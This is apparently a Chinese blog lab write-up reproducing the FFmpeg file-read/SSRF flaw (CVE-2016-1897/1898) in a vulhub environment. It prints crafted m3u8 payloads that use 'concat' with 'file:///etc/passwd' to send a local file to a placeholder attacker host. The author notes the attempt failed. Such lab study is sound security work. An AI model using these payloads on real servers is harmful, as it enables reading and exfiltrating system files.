• ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)


    漏洞描述

    影响范围

    • FFmpeg 2.8.x < 2.8.5
    • FFmpeg 2.7.x < 2.7.5
    • FFmpeg 2.6.x < 2.6.7
    • FFmpeg 2.5.x < 2.5.10

    漏洞环境及利用

    搭建docker环境

    访问8080端口看到上传界面

    由于vulhub并没有讲述该漏洞如何复现,我们需要进入环境查看源码

    if(!empty($_FILES)) {
        $filename = escapeshellarg($_FILES['file']['tmp_name']);
        $newname = './' . uniqid() . '.mp4';
        shell_exec("ffmpeg -i $filename $newname");
    }
    ?>

    可以看到就是调用了ffmpeg这个工具来处理文件
    这是一个恶意请求的m3u8文件:

    #EXTM3U
     #EXT-X-MEDIA-SEQUENCE:0
     #EXTINF:10.0,
     http://your_ip:9999/test.txt
     #EXT-X-ENDLIST
     

    文件格式如下:  

    #EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
    #EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
    #EXTINF:10.0, 表示该一段 TS 流文件的长度
    #EXT-X-ENDLIST 这个相当于文件结束符

    这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。所以我们可以试想,用FFMpeg内自带的concat函数,将一个不包含文件结束符的文件与file协议读取的文件衔接起来,请求回攻击机,就能够达到读取任意文件的效果!

    漏洞复现
    首先,我们需要在 web 服务器上创建一个 back.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。
    其次,我们再创建一个恶意的 m3u8 文件,文件内容通过 concat 拼接本地文件/etc/passwd。
    最后,我们上传这个恶意的 m3u8 文件。
    back.txt:

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:,
    http://your_ip:9999/?

    upload.m3u8:

    #EXTM3U
    #EXT-X-TARGETDURATION:6
    #EXTINF:10.0,
    concat:http://your_ip/back.txt|file:///etc/passwd
    #EXT-X-ENDLIST

    Tip: 以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。

    使用python来搭建一个简易的web,将back.txt部署到web上。

    python2 -m SimpleHTTPServer 8888

    python3 -m http.server 8888

    上传恶意m3u8文件,并监听9999端口
    复现失败了

     

  • 相关阅读:
    数据结构复习
    【C++】模板:了解泛型编程
    java内存模型
    [NLP]LLM---大模型指令微调中的“Prompt”
    电脑dll修复工具下载安装,专门解决(win系统)MSVCP100/110/120/140.dll丢失问题
    Execute Crond Service on openEuler
    vue3学习笔记(异步组件,包含defineAsyncComponent、Suspense的使用)
    IDEA Debug调试各个按钮说明
    gradle学习笔记
    深入路由器交换数据传输
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/134681621